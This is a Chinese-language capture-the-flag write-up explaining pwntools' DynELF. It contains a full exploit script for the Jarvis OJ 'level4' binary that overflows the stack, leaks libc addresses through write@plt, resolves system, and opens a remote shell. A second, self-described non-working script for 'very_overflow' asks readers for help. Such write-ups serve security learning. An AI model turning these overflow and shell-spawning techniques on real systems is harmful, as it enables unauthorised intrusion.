level4 ——DynELF
DynELF是在没有libc文件情况下,通过对任意地址的读,获得函数地址的工具
通常情况下,可以通过leak两个函数got中所存的地址,从而确定libc版本,获得所需函数地址
但在查库无法确定版本的情况下,可以使用DynELF在内存中搜索。但DynELF容易超时,慎用
以level4为例,简单记录DynELF的用法 获取文件
程序保护和程序漏洞都没有设置障碍,可以直接通过一次read实现溢出
经过尝试,无法通过write.got和read.got中的地址找到libc版本,也不方便实现system_call
所以可以先用DynELF获得system函数的地址,再向bss段中写入“/bin/sh”,获取shell
#!/usr/bin/env python # coding=utf-8 from pwn import * # context.log_level = "debug" io = remote("pwn2.jarvisoj.com", 9880) elf = ELF("./level4") # plt.got read_plt = elf.plt["read"] write_plt = elf.plt["write"] vuln_addr = 0x804844b main_addr = 0x8048470 bss_addr = 0x804a024 def leak(address): payload = ‘a‘ * (0x88+0x4) payload += p32(write_plt) + p32(vuln_addr) # 能够循环利用漏洞 payload += p32(1) + p32(address) + p32(4) # data只要4个字节长度 io.send(payload) data = io.recv(4) print "%#x => %s" % (address, (data or ‘‘).encode(‘hex‘)) return data dyn = DynELF(leak,elf = ELF("./level4")) sys_addr = dyn.lookup("__libc_system","libc") # print hex(sys_addr) payload = ‘a‘ * (0x88 + 0x4) payload += p32(read_plt) + p32(sys_addr) payload += p32(1) + p32(bss_addr) + p32(10) io.send(payload) io.sendline("/bin/sh") io.interactive()
关于DynELF较为详细的介绍:https://www.anquanke.com/post/id/85129 更加神学的说明
另有一道very_overflow也想用这种方法尝试一下,是利用puts构造leak函数
我觉得理论上和level4是同理可行的,但是没能成功得到system地址
脚本和错误如下,望路过的各路大神帮忙指点一二
#!/usr/bin/env python # -*-coding=utf-8-*- from pwn import * context.log_level = "debug" # io = remote("hackme.inndy.tw",7705) io = process("./very_overflow") elf = ELF("./very_overflow") puts_addr = elf.plt["puts"] puts_got = elf.got["puts"] vuln_addr = 0x8048853 def debug(): raw_input("Enter>>") # gdb.stop() gdb.attach(io) def fill(): sss = ‘a‘ * 128 for i in range(128): io.recvuntil("action: ") io.sendline("1") io.recvuntil("note: ") io.sendline(sss) def leak(address): count = 0 data = ‘‘ fill() io.recvuntil("action: ") # io.sendline("3") io.recvuntil("show: ") io.sendline("127") io.recvuntil("action: ") io.sendline("1") # mZ io.recvuntil("note: ") debug() payload = p32(0) + ‘a‘ * 12 payload += p32(puts_addr) + p32(vuln_addr) + p32(address) # debug() io.sendline(payload) # note id io.recvline() # puts up = ‘‘ while 1 : c = io.recv(1) count += 1 if up == ‘\\n‘ and c == ‘1‘: data[-1] = ‘\\x00‘ break else: data += c up = c print data data = data[:4] ‘‘‘ for i in range(4) : data += io.recv(numb = 1,timeout = 1) ‘‘‘ print "%#x => %s" % (address, (data or ‘‘).encode(‘hex‘)) return data Dyn = DynELF(leak,elf = ELF("./very_overflow")) sys_addr = Dyn.lookup("__libc_system","libc") print hex(sys_addr) ‘‘‘ io.recvuntil("action: ") io.sendline("3") io.recvuntil("show: ") io.sendline("127") io.recvline() switch_addr = io.recvline()[10:-1] print switch_addr ‘‘‘
感谢大佬们指教!
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;